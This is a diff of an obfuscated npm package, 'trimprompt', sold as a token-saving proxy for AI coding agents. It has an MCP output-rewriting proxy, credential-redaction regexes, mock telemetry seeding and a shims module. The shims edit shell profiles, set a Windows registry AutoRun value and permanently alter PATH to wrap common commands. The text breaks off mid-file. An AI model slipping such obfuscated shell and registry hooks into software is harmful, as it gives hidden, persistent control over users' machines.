'use strict';const a0_0x4d895a=a0_0x208a;(function(_0x29eb65,_0x444905){const _0x486937=a0_0x208a,_0x4bff4e=_0x29eb65();while(!![]){try{const _0x524fe3=parseInt(_0x486937(0x161))/0x1+parseInt(_0x486937(0x17c))/0x2*(parseInt(_0x486937(0x17f))/0x3)+parseInt(_0x486937(0x17b))/0x4+-parseInt(_0x486937(0x160))/0x5*(parseInt(_0x486937(0x18e))/0x6)+-parseInt(_0x486937(0x16d))/0x7*(-parseInt(_0x486937(0x16e))/0x8)+-parseInt(_0x486937(0x15f))/0x9*(parseInt(_0x486937(0x169))/0xa)+parseInt(_0x486937(0x178))/0xb;if(_0x524fe3===_0x444905)break;else _0x4bff4e['push'](_0x4bff4e['shift']());}catch(_0x2938fc){_0x4bff4e['push'](_0x4bff4e['shift']());}}}(a0_0x3038,0x5e120));function a0_0x3038(){const _0x228c8d=['stringify','797566okzOZt','32xgGmgh','./filters','hasOwnProperty','getConfig','2.0','logExecution','message','jsonrpc','parse','result','548350DBsQjU','defineProperty','__esModule','698276DwQckA','222744ILfsUJ','stdin','error','9WVtfui','prototype','configurable','getOwnPropertyNames','line','text','close','stdout','./tracker','child_process','content','runMcpProxy','compressOutput','__createBinding','string','3146016nyYtkF','isArray','redaction_enabled','get','exit','3544677opZTYn','5ysMVBS','289214xknIno','create','write','getOwnPropertyDescriptor','spawn','pipe','__importStar','inherit','10nVrgXZ','length','tracker'];a0_0x3038=function(){return _0x228c8d;};return a0_0x3038();}function a0_0x208a(_0x2f5077,_0x588bae){_0x2f5077=_0x2f5077-0x15d;const _0x3038f5=a0_0x3038();let _0x208af9=_0x3038f5[_0x2f5077];return _0x208af9;}var __createBinding=this&&this[a0_0x4d895a(0x18c)]||(Object[a0_0x4d895a(0x162)]?function(_0x5117bd,_0x51bf34,_0x3ce446,_0x1feddb){const _0x4d29c6=a0_0x4d895a;if(_0x1feddb===undefined)_0x1feddb=_0x3ce446;var _0x20dffb=Object[_0x4d29c6(0x164)](_0x51bf34,_0x3ce446);(!_0x20dffb||(_0x4d29c6(0x15d)in _0x20dffb?!_0x51bf34[_0x4d29c6(0x17a)]:_0x20dffb['writable']||_0x20dffb[_0x4d29c6(0x181)]))&&(_0x20dffb={'enumerable':!![],'get':function(){return _0x51bf34[_0x3ce446];}}),Object[_0x4d29c6(0x179)](_0x5117bd,_0x1feddb,_0x20dffb);}:function(_0x31c38d,_0x3db2c7,_0x59d720,_0x2cf299){if(_0x2cf299===undefined)_0x2cf299=_0x59d720;_0x31c38d[_0x2cf299]=_0x3db2c7[_0x59d720];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x4d895a(0x162)]?function(_0x447be8,_0x2e6b47){const _0x36e3a0=a0_0x4d895a;Object[_0x36e3a0(0x179)](_0x447be8,'default',{'enumerable':!![],'value':_0x2e6b47});}:function(_0x13095d,_0x686437){_0x13095d['default']=_0x686437;}),__importStar=this&&this[a0_0x4d895a(0x167)]||(function(){var _0x3c501d=function(_0x472d56){const _0x2b4793=a0_0x208a;return _0x3c501d=Object[_0x2b4793(0x182)]||function(_0x49f083){const _0x37b449=_0x2b4793;var _0x5859d9=[];for(var _0x1a2c4d in _0x49f083)if(Object[_0x37b449(0x180)][_0x37b449(0x170)]['call'](_0x49f083,_0x1a2c4d))_0x5859d9[_0x5859d9[_0x37b449(0x16a)]]=_0x1a2c4d;return _0x5859d9;},_0x3c501d(_0x472d56);};return function(_0x35c216){const _0x32de4c=a0_0x208a;if(_0x35c216&&_0x35c216[_0x32de4c(0x17a)])return _0x35c216;var _0x4526bb={};if(_0x35c216!=null){for(var _0x232879=_0x3c501d(_0x35c216),_0x181746=0x0;_0x181746<_0x232879[_0x32de4c(0x16a)];_0x181746++)if(_0x232879[_0x181746]!=='default')__createBinding(_0x4526bb,_0x35c216,_0x232879[_0x181746]);}return __setModuleDefault(_0x4526bb,_0x35c216),_0x4526bb;};}());Object[a0_0x4d895a(0x179)](exports,a0_0x4d895a(0x17a),{'value':!![]}),exports[a0_0x4d895a(0x18a)]=runMcpProxy;const child_process_1=require(a0_0x4d895a(0x188)),readline=__importStar(require('readline')),filters_1=require(a0_0x4d895a(0x16f)),tracker_1=require(a0_0x4d895a(0x187));function runMcpProxy(_0x9b8bb0,_0x5b3c3f){const _0x38b7c3=a0_0x4d895a,_0x3c4bb3=(0x0,child_process_1[_0x38b7c3(0x165)])(_0x9b8bb0,_0x5b3c3f,{'stdio':[_0x38b7c3(0x166),_0x38b7c3(0x166),_0x38b7c3(0x168)]});process[_0x38b7c3(0x17d)]['pipe'](_0x3c4bb3[_0x38b7c3(0x17d)]);const _0x59f494=readline['createInterface']({'input':_0x3c4bb3['stdout'],'terminal':![]});_0x59f494['on'](_0x38b7c3(0x183),_0xf173f8=>{const _0x3d1dba=_0x38b7c3;try{const _0x56cafe=JSON[_0x3d1dba(0x176)](_0xf173f8);if(_0x56cafe&&_0x56cafe[_0x3d1dba(0x175)]===_0x3d1dba(0x172)&&_0x56cafe['id']!==undefined&&_0x56cafe['result']&&Array[_0x3d1dba(0x18f)](_0x56cafe[_0x3d1dba(0x177)][_0x3d1dba(0x189)])){let _0x329213=![];for(const _0x482dd5 of _0x56cafe[_0x3d1dba(0x177)][_0x3d1dba(0x189)]){if(_0x482dd5['type']===_0x3d1dba(0x184)&&typeof _0x482dd5[_0x3d1dba(0x184)]===_0x3d1dba(0x18d)&&_0x482dd5[_0x3d1dba(0x184)]['trim']()[_0x3d1dba(0x16a)]>0x0){const _0x430294=_0x482dd5[_0x3d1dba(0x184)],_0x1c36a7=(0x0,filters_1[_0x3d1dba(0x18b)])('mcp-tool-call',_0x430294,'',tracker_1[_0x3d1dba(0x16b)][_0x3d1dba(0x171)]()[_0x3d1dba(0x190)]);tracker_1[_0x3d1dba(0x16b)][_0x3d1dba(0x173)]('mcp\x20tool\x20(id:\x20'+_0x56cafe['id']+')',_0x430294,_0x1c36a7,0x0),_0x482dd5[_0x3d1dba(0x184)]=_0x1c36a7,_0x329213=!![];}}_0x329213?process['stdout'][_0x3d1dba(0x163)](JSON[_0x3d1dba(0x16c)](_0x56cafe)+'\x0a'):process['stdout'][_0x3d1dba(0x163)](_0xf173f8+'\x0a');}else process[_0x3d1dba(0x186)]['write'](_0xf173f8+'\x0a');}catch{process[_0x3d1dba(0x186)][_0x3d1dba(0x163)](_0xf173f8+'\x0a');}}),_0x3c4bb3['on'](_0x38b7c3(0x185),_0x1a8eab=>{process['exit'](_0x1a8eab||0x0);}),_0x3c4bb3['on'](_0x38b7c3(0x17e),_0x48e872=>{const _0x5a8c00=_0x38b7c3;console[_0x5a8c00(0x17e)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x48e872[_0x5a8c00(0x174)]),process[_0x5a8c00(0x15e)](0x1);});}
|
package/package.json
CHANGED
|
@@ -1,7 +1,24 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "trimprompt",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.21",
|
|
4
4
|
"description": "TrimPrompt — Save 80% on LLM tokens. Zero-config CLI proxy for AI coding agents",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"llm",
|
|
7
|
+
"tokens",
|
|
8
|
+
"claude",
|
|
9
|
+
"cursor",
|
|
10
|
+
"copilot",
|
|
11
|
+
"compress",
|
|
12
|
+
"proxy",
|
|
13
|
+
"cli",
|
|
14
|
+
"agent",
|
|
15
|
+
"save",
|
|
16
|
+
"cost",
|
|
17
|
+
"security",
|
|
18
|
+
"secrets",
|
|
19
|
+
"redact",
|
|
20
|
+
"CSA"
|
|
21
|
+
],
|
|
5
22
|
"main": "cli.js",
|
|
6
23
|
"bin": {
|
|
7
24
|
"trim": "cli.js"
|
package/redactor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x20415f=a0_0xd59b;(function(_0x41821a,_0x5ac964){const _0x35418f=a0_0xd59b,_0x2c1d1a=_0x41821a();while(!![]){try{const _0x35ebf0=-parseInt(_0x35418f(0x214))/0x1*(-parseInt(_0x35418f(0x1f6))/0x2)+parseInt(_0x35418f(0x1fc))/0x3+-parseInt(_0x35418f(0x212))/0x4+-parseInt(_0x35418f(0x1f4))/0x5*(-parseInt(_0x35418f(0x1ea))/0x6)+-parseInt(_0x35418f(0x1f5))/0x7*(-parseInt(_0x35418f(0x213))/0x8)+parseInt(_0x35418f(0x202))/0x9*(parseInt(_0x35418f(0x1d8))/0xa)+-parseInt(_0x35418f(0x20f))/0xb;if(_0x35ebf0===_0x5ac964)break;else _0x2c1d1a['push'](_0x2c1d1a['shift']());}catch(_0x295549){_0x2c1d1a['push'](_0x2c1d1a['shift']());}}}(a0_0x38bb,0x52e58));function a0_0xd59b(_0x291146,_0x50da7b){_0x291146=_0x291146-0x1cf;const _0x38bb53=a0_0x38bb();let _0xd59b1d=_0x38bb53[_0x291146];return _0xd59b1d;}Object[a0_0x20415f(0x1ec)](exports,'__esModule',{'value':!![]}),exports[a0_0x20415f(0x1db)]=exports[a0_0x20415f(0x1ef)]=void 0x0;class Redactor{[a0_0x20415f(0x1e7)]=[];constructor(){const _0x733e4e=a0_0x20415f;this[_0x733e4e(0x1ff)]();}[a0_0x20415f(0x1ff)](){const _0x249db6=a0_0x20415f;this['rules']=[{'name':_0x249db6(0x201),'type':_0x249db6(0x1de),'regex':/\b(AKIA[0-9A-Z]{16})\b/g,'replacement':_0x249db6(0x1fb)},{'name':_0x249db6(0x1fa),'type':_0x249db6(0x200),'regex':/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[\s:=]+[A-Za-z0-9/+=]{30,}/gi,'replacement':_0x249db6(0x1da)},{'name':_0x249db6(0x206),'type':_0x249db6(0x1f2),'regex':/"private_key"\s*:\s*"-----BEGIN[^"]+-----END[^"]*"/g,'replacement':_0x249db6(0x1cf)},{'name':'Azure\x20Connection\x20String','type':_0x249db6(0x20d),'regex':/DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[^;]+;?[^\s]*/gi,'replacement':_0x249db6(0x20c)},{'name':'Anthropic\x20API\x20Key','type':'anthropic_key','regex':/\bsk-ant-api\d{2}-[A-Za-z0-9_-]{20,}\b/g,'replacement':_0x249db6(0x1fe)},{'name':_0x249db6(0x1e9),'type':_0x249db6(0x1f8),'regex':/\b(sk-proj-[A-Za-z0-9_-]{20,}|sk-[A-Za-z0-9]{32,})\b/g,'replacement':_0x249db6(0x1dc)},{'name':_0x249db6(0x1ed),'type':_0x249db6(0x209),'regex':/\b(ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{22,})\b/g,'replacement':_0x249db6(0x1eb)},{'name':_0x249db6(0x20e),'type':_0x249db6(0x1d0),'regex':/\b(xoxb-[0-9A-Za-z-]+|xoxp-[0-9A-Za-z-]+|xapp-[0-9A-Za-z-]+)\b/g,'replacement':'[REDACTED_SLACK_TOKEN]'},{'name':'Stripe\x20Key','type':_0x249db6(0x205),'regex':/\b(sk_live_[A-Za-z0-9]{24,}|sk_test_[A-Za-z0-9]{24,}|rk_live_[A-Za-z0-9]{24,}|rk_test_[A-Za-z0-9]{24,})\b/g,'replacement':_0x249db6(0x210)},{'name':_0x249db6(0x1f1),'type':_0x249db6(0x204),'regex':/\bSK[0-9a-f]{32}\b/g,'replacement':'[REDACTED_TWILIO_KEY]'},{'name':_0x249db6(0x1d1),'type':_0x249db6(0x1d5),'regex':/\bSG\.[A-Za-z0-9_-]{22,}\.[A-Za-z0-9_-]{22,}\b/g,'replacement':_0x249db6(0x1df)},{'name':'Private\x20Key\x20Block','type':_0x249db6(0x1e5),'regex':/-----BEGIN\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----[\s\S]*?-----END\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----/g,'replacement':_0x249db6(0x1f3)},{'name':_0x249db6(0x1dd),'type':_0x249db6(0x1e4),'regex':/\beyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/g,'replacement':_0x249db6(0x1d4)},{'name':'Bearer\x20Token','type':'bearer','regex':/Bearer\s+[A-Za-z0-9_\-.]{20,}/gi,'replacement':_0x249db6(0x1f7)},{'name':'Basic\x20Auth','type':_0x249db6(0x207),'regex':/Basic\s+[A-Za-z0-9+/=]{10,}/gi,'replacement':_0x249db6(0x20b)},{'name':_0x249db6(0x215),'type':_0x249db6(0x211),'regex':/(mongodb(\+srv)?|postgres|postgresql|mysql|redis|amqp|sqlite):\/\/[A-Za-z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION]'},{'name':_0x249db6(0x1f0),'type':_0x249db6(0x1d2),'regex':/(api[_-]?key|secret[_-]?key|password|passwd|auth[_-]?token|private[_-]?key|access[_-]?token|refresh[_-]?token|client[_-]?secret)[\s:="']+[A-Za-z0-9_\-./+=]{16,}/gi,'replacement':_0x249db6(0x1d7)},{'name':'IPv4\x20Address\x20(non-local)','type':'ip_address','regex':/\b(?!127\.0\.0\.1|0\.0\.0\.0|255\.255\.255\.0|10\.\d|172\.(1[6-9]|2\d|3[01])\.|192\.168\.)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x249db6(0x1fd),'alert':![]},{'name':'Email\x20Address','type':_0x249db6(0x1ee),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x249db6(0x203),'alert':![]}];}[a0_0x20415f(0x1d6)](_0x2bdc92){const _0x2ed6a3=a0_0x20415f;return this[_0x2ed6a3(0x1e8)](_0x2bdc92)[_0x2ed6a3(0x1e1)];}[a0_0x20415f(0x1e8)](_0x3c2662){const _0x30e5cf=a0_0x20415f;let _0x30413c=_0x3c2662,_0x23dc4d=0x0;const _0x4441fd=[];for(const _0x46dd32 of this[_0x30e5cf(0x1e7)]){const _0x5939fa=_0x30413c[_0x30e5cf(0x1d3)](_0x46dd32[_0x30e5cf(0x1e0)]);_0x5939fa&&_0x5939fa['length']>0x0&&(_0x46dd32[_0x30e5cf(0x1f9)]!==![]&&(_0x23dc4d+=_0x5939fa[_0x30e5cf(0x20a)],!_0x4441fd[_0x30e5cf(0x208)](_0x46dd32[_0x30e5cf(0x1d9)])&&_0x4441fd[_0x30e5cf(0x1e2)](_0x46dd32[_0x30e5cf(0x1d9)])),_0x30413c=_0x30413c[_0x30e5cf(0x1e3)](_0x46dd32[_0x30e5cf(0x1e0)],_0x46dd32[_0x30e5cf(0x1e6)]));}return{'text':_0x30413c,'secretsFound':_0x23dc4d,'secretTypes':_0x4441fd};}}function a0_0x38bb(){const _0x28a7d7=['[REDACTED_STRIPE_KEY]','db_connection','2114056rXelHQ','1371728fnERvQ','7573bDWdbI','Database\x20Connection\x20String','\x22private_key\x22:\x20\x22[REDACTED_GCP_PRIVATE_KEY]\x22','slack_token','SendGrid\x20Key','generic_credential','match','[REDACTED_JWT]','sendgrid_key','redact','$1=[REDACTED_CREDENTIAL]','303610hMfols','type','$1=[REDACTED_AWS_SECRET]','redactor','[REDACTED_OPENAI_KEY]','JWT\x20Token','aws_key','[REDACTED_SENDGRID_KEY]','regex','text','push','replace','jwt','private_key','replacement','rules','redactWithAudit','OpenAI\x20API\x20Key','19146jceuZL','[REDACTED_GITHUB_TOKEN]','defineProperty','GitHub\x20Token','email','Redactor','Generic\x20API\x20Key/Secret/Password','Twilio\x20Key','gcp_key','[REDACTED_PRIVATE_KEY]','395xsAJCv','21udnHgT','94VbbmPB','Bearer\x20[REDACTED_TOKEN]','openai_key','alert','AWS\x20Secret\x20Key','[REDACTED_AWS_KEY]','372435PIyZkq','[REDACTED_IP]','[REDACTED_ANTHROPIC_KEY]','loadDefaultRules','aws_secret','AWS\x20Access\x20Key','189hpJpXo','[REDACTED_EMAIL]','twilio_key','stripe_key','GCP\x20Service\x20Account\x20Key','basic_auth','includes','github_token','length','Basic\x20[REDACTED_AUTH]','[REDACTED_AZURE_CONNECTION]','azure_conn','Slack\x20Token','11176946CiYmOq'];a0_0x38bb=function(){return _0x28a7d7;};return a0_0x38bb();}exports['Redactor']=Redactor,exports[a0_0x20415f(0x1db)]=new Redactor();
|
package/seed.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';function a0_0x1219(){const _0x3208b1=['130UGYpVR','log','defineProperty','40sUwVNc','4952514xzAWuh','70944AmttcC','1656640vJwUpp','838890wcMdyT','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','1315145btgksE','tracker','added\x201420\x20packages\x20in\x2014s\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','4vWdgwy','test_api.py\x20PASS\x0a','repeat','3454199ZzVuES','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','Successfully\x20built\x20image.','test_auth.py\x20PASS\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','logExecution','gemini-1-5-pro','Test\x20suite\x20run\x20starting...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','[INFO]\x20Building\x20modules...\x0a','./tracker','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','Optimizing\x20assets...\x0a','test_db.py\x20PASS\x0a','npm\x20run\x20build','docker\x20build\x20.','Database\x20successfully\x20seeded!','34151270IPlJnb'];a0_0x1219=function(){return _0x3208b1;};return a0_0x1219();}const a0_0xa2eaed=a0_0x2ff7;(function(_0x4cf9ce,_0x3715df){const _0x1d753b=a0_0x2ff7,_0x36a9bb=_0x4cf9ce();while(!![]){try{const _0x568272=-parseInt(_0x1d753b(0x1ef))/0x1+-parseInt(_0x1d753b(0x1eb))/0x2+parseInt(_0x1d753b(0x1e9))/0x3*(-parseInt(_0x1d753b(0x1ce))/0x4)+parseInt(_0x1d753b(0x1e5))/0x5*(parseInt(_0x1d753b(0x1ea))/0x6)+parseInt(_0x1d753b(0x1d1))/0x7+parseInt(_0x1d753b(0x1e8))/0x8*(parseInt(_0x1d753b(0x1ec))/0x9)+parseInt(_0x1d753b(0x1e4))/0xa;if(_0x568272===_0x3715df)break;else _0x36a9bb['push'](_0x36a9bb['shift']());}catch(_0x4a0097){_0x36a9bb['push'](_0x36a9bb['shift']());}}}(a0_0x1219,0xd8bcb));function a0_0x2ff7(_0x35491f,_0xc62771){_0x35491f=_0x35491f-0x1ce;const _0x121904=a0_0x1219();let _0x2ff7f8=_0x121904[_0x35491f];return _0x2ff7f8;}Object[a0_0xa2eaed(0x1e7)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0xa2eaed(0x1dd));console[a0_0xa2eaed(0x1e6)](a0_0xa2eaed(0x1d2)),process.env.TRIMPROMPT_MODEL='claude-3-opus',tracker_1[a0_0xa2eaed(0x1f0)]['logExecution'](a0_0xa2eaed(0x1e1),'Compilation\x20Output:\x0a'+a0_0xa2eaed(0x1dc)+a0_0xa2eaed(0x1df)+a0_0xa2eaed(0x1ed)[a0_0xa2eaed(0x1d0)](0x190),a0_0xa2eaed(0x1d7),0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1['tracker']['logExecution']('pytest\x20tests/app',a0_0xa2eaed(0x1da)+a0_0xa2eaed(0x1d6)+a0_0xa2eaed(0x1e0)+a0_0xa2eaed(0x1cf)[a0_0xa2eaed(0x1d0)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0xa2eaed(0x1f2),0x0),process.env.TRIMPROMPT_MODEL=a0_0xa2eaed(0x1d9),tracker_1[a0_0xa2eaed(0x1f0)][a0_0xa2eaed(0x1d8)](a0_0xa2eaed(0x1e2),a0_0xa2eaed(0x1db)+a0_0xa2eaed(0x1ee)+a0_0xa2eaed(0x1de)+a0_0xa2eaed(0x1d3)+a0_0xa2eaed(0x1f1)['repeat'](0x3)+a0_0xa2eaed(0x1d5),a0_0xa2eaed(0x1d4),0x0),console[a0_0xa2eaed(0x1e6)](a0_0xa2eaed(0x1e3));
|
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x370065=a0_0x1b8e;(function(_0x38d90b,_0x17f24e){const _0x458022=a0_0x1b8e,_0x3ad971=_0x38d90b();while(!![]){try{const _0x67fa30=-parseInt(_0x458022(0xcb))/0x1*(parseInt(_0x458022(0xe2))/0x2)+-parseInt(_0x458022(0x97))/0x3*(parseInt(_0x458022(0x9e))/0x4)+parseInt(_0x458022(0x81))/0x5*(-parseInt(_0x458022(0xbf))/0x6)+parseInt(_0x458022(0xac))/0x7*(parseInt(_0x458022(0x70))/0x8)+-parseInt(_0x458022(0xa1))/0x9+parseInt(_0x458022(0xbb))/0xa*(parseInt(_0x458022(0xe3))/0xb)+parseInt(_0x458022(0x7b))/0xc*(parseInt(_0x458022(0xc5))/0xd);if(_0x67fa30===_0x17f24e)break;else _0x3ad971['push'](_0x3ad971['shift']());}catch(_0x15be6d){_0x3ad971['push'](_0x3ad971['shift']());}}}(a0_0x4566,0x8905c));var __createBinding=this&&this[a0_0x370065(0xcf)]||(Object['create']?function(_0x56b233,_0xb4dacb,_0x3bd987,_0x46eefd){const _0x169935=a0_0x370065;if(_0x46eefd===undefined)_0x46eefd=_0x3bd987;var _0x292654=Object[_0x169935(0xbe)](_0xb4dacb,_0x3bd987);(!_0x292654||(_0x169935(0x87)in _0x292654?!_0xb4dacb[_0x169935(0x6d)]:_0x292654[_0x169935(0xd6)]||_0x292654['configurable']))&&(_0x292654={'enumerable':!![],'get':function(){return _0xb4dacb[_0x3bd987];}}),Object['defineProperty'](_0x56b233,_0x46eefd,_0x292654);}:function(_0x50f0ff,_0x2bbdf0,_0x51c79e,_0x3c9d98){if(_0x3c9d98===undefined)_0x3c9d98=_0x51c79e;_0x50f0ff[_0x3c9d98]=_0x2bbdf0[_0x51c79e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x4b2e00,_0x50bbc7){const _0x92daf8=a0_0x370065;Object[_0x92daf8(0x88)](_0x4b2e00,_0x92daf8(0xb8),{'enumerable':!![],'value':_0x50bbc7});}:function(_0x2f4e24,_0x53b3f3){const _0x554127=a0_0x370065;_0x2f4e24[_0x554127(0xb8)]=_0x53b3f3;}),__importStar=this&&this[a0_0x370065(0xd0)]||(function(){var _0x2a098f=function(_0x34535f){return _0x2a098f=Object['getOwnPropertyNames']||function(_0x364b04){const _0x2b2237=a0_0x1b8e;var _0x17a3b5=[];for(var _0x1cbd1c in _0x364b04)if(Object[_0x2b2237(0xe6)][_0x2b2237(0x7f)][_0x2b2237(0x99)](_0x364b04,_0x1cbd1c))_0x17a3b5[_0x17a3b5[_0x2b2237(0xca)]]=_0x1cbd1c;return _0x17a3b5;},_0x2a098f(_0x34535f);};return function(_0x1a7b08){const _0x4c310f=a0_0x1b8e;if(_0x1a7b08&&_0x1a7b08[_0x4c310f(0x6d)])return _0x1a7b08;var _0x1686cc={};if(_0x1a7b08!=null){for(var _0x1759e9=_0x2a098f(_0x1a7b08),_0x5c6912=0x0;_0x5c6912<_0x1759e9['length'];_0x5c6912++)if(_0x1759e9[_0x5c6912]!==_0x4c310f(0xb8))__createBinding(_0x1686cc,_0x1a7b08,_0x1759e9[_0x5c6912]);}return __setModuleDefault(_0x1686cc,_0x1a7b08),_0x1686cc;};}());Object[a0_0x370065(0x88)](exports,a0_0x370065(0x6d),{'value':!![]}),exports[a0_0x370065(0x6e)]=installShims,exports[a0_0x370065(0x92)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x370065(0xc9))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x370065(0xe9),a0_0x370065(0xc6),a0_0x370065(0xa6),'grep','rg',a0_0x370065(0x79),a0_0x370065(0xb4),'gh',a0_0x370065(0x7a),a0_0x370065(0x7d),a0_0x370065(0xa4),'pnpm',a0_0x370065(0x9f),a0_0x370065(0xdd),'kubectl',a0_0x370065(0x75),a0_0x370065(0xc0),'pip',a0_0x370065(0x8d),'go',a0_0x370065(0xd2)],PROFILE_MARKER=a0_0x370065(0xa3);function getExecSync(){const _0x33c397=a0_0x370065;return require(_0x33c397(0x9a))[_0x33c397(0xab)];}function getExecFileSync(){const _0x2c048a=a0_0x370065;return require(_0x2c048a(0x9a))['execFileSync'];}function ensureProfileContains(_0x3d2d82,_0x131424,_0x199fba){const _0x57f0ef=a0_0x370065;try{const _0x39e661=path[_0x57f0ef(0xd9)](_0x3d2d82);!fs[_0x57f0ef(0x80)](_0x39e661)&&fs[_0x57f0ef(0xce)](_0x39e661,{'recursive':!![]});if(fs[_0x57f0ef(0x80)](_0x3d2d82)){const _0x18fe0b=fs[_0x57f0ef(0xd1)](_0x3d2d82,_0x57f0ef(0xa2));if(_0x18fe0b['includes'](_0x131424))return;fs['appendFileSync'](_0x3d2d82,_0x199fba,_0x57f0ef(0xa2));}else fs['writeFileSync'](_0x3d2d82,_0x199fba,_0x57f0ef(0xa2));}catch{}}function removeProfileBlock(_0x2a9dbc,_0x43e2dc){const _0x124304=a0_0x370065;try{if(!fs[_0x124304(0x80)](_0x2a9dbc))return;const _0x5c4100=fs['readFileSync'](_0x2a9dbc,_0x124304(0xa2));if(!_0x5c4100['includes'](_0x43e2dc))return;const _0x571569=_0x5c4100['split']('\x0a'),_0x984bb9=[];let _0x41989f=![];for(let _0xf28bf9=0x0;_0xf28bf9<_0x571569[_0x124304(0xca)];_0xf28bf9++){if(_0x571569[_0xf28bf9]['includes'](_0x43e2dc)){_0x41989f=!![];continue;}if(_0x41989f){_0x41989f=![];continue;}_0x984bb9[_0x124304(0x6f)](_0x571569[_0xf28bf9]);}const _0x170d89=_0x984bb9['join']('\x0a')[_0x124304(0x7e)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x2a9dbc,_0x170d89,_0x124304(0xa2));}catch{}}function a0_0x4566(){const _0x4d8516=['pipe','\x22\x20set\x20\x22PATH=','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','get','defineProperty','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.',';%PATH%\x22','win32','Remove-ItemProperty\x20-Path\x20\x27','pip3','.trimprompt','Set-ItemProperty\x20-Path\x20\x27','writeFileSync','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','uninstallShims',')\x20else\x20(','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','\x20\x20set\x20\x22PATH=%PATH:','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','213912oihGyh','trim.ps1','call','child_process','ignore','join','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','52vaFHNI','npx','includes','7897482wuZzqa','utf8','TrimPrompt\x20Shims\x20PATH','npm','pwsh','read',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','.cmd','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20\x22$@\x22;\x20fi\x0a','execSync','21CeDEsg','.bash_profile','powershell','\x0a#\x20','unlinkSync',':$PATH\x22','.bashrc','\x20-NoProfile\x20-Command\x20\x22','git','rmdirSync','powershell.exe','if\x20exist\x20\x22','default','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','$PROFILE.CurrentUserAllHosts','729730hLXplj','message','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','getOwnPropertyDescriptor','138achESK','pytest','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','toLowerCase','filter','$PROFILE.CurrentUserCurrentHost','344656uAjesN','cat','split','homedir','path','length','149vdZNzf','platform','trim','mkdirSync','__createBinding','__importStar','readFileSync','find','.zshrc','\x20commands.\x0a\x0a','-Command','writable','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','\x20@args\x20}\x20else\x20{\x20&\x20','dirname','powershell\x20-NoProfile\x20-Command\x20\x22','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x2